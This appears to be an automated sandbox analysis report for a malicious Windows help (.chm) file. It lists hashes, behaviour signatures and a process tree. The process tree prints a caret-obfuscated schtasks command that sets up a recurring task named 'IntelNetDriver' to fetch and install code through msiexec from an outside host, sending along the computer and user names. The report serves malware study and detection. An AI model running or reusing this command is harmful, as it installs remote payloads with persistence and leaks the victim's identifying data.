Analysis

  • max time kernel
    43s
  • max time network
    46s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    03/02/2023, 07:12

General

  • Target

    f598f3bd60a39ad5861f145e82b33acde146b6ed5c2ffd9c6862ca1ea635afbf.chm

  • Size

    11KB

  • MD5

    c42aafc41fa033643c7eb1c06d433ee1

  • SHA1

    abb7917e1ffd689ad58af1878b02e6a5b21a41c0

  • SHA256

    f598f3bd60a39ad5861f145e82b33acde146b6ed5c2ffd9c6862ca1ea635afbf

  • SHA512

    8efec3c615e25c032d2d1e2136c46810717969a767b678124f8014cca5fa25428e4414767d1e555b0065613e9313cc80bd2472abbc744e3bc01d38f872a83720

  • SSDEEP

    48:r5gRutM08QRlEFlErlElz5s4UBF4Iu37Nw1ad2CeAirPYiahTOBqCCC2+i+NSHlE:reutM/w1ad2jTEiahCBI+1NElE

Score
1/10

Malware Config

Signatures

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\hh.exe
    "C:\Windows\hh.exe" C:\Users\Admin\AppData\Local\Temp\f598f3bd60a39ad5861f145e82b33acde146b6ed5c2ffd9c6862ca1ea635afbf.chm
    1⤵
    • Modifies Internet Explorer settings
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1264
    • C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /sc minute /mo 16 /tn IntelNetDriver /tr "%coMSPec% /c s^t^a^rt /^m^i^n m^s^i^e^xe^c ^/^i h^tt^p://dra^cjo^hns^upp^ort.co^m/p^ar^k/j^eff^.p^hp^?w^an=%computername%*%username% /^q^n ^/^norestart" /f
      2⤵
      • Creates scheduled task(s)
      PID:1656

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/1264-54-0x000007FEFC581000-0x000007FEFC583000-memory.dmp

    Filesize

    8KB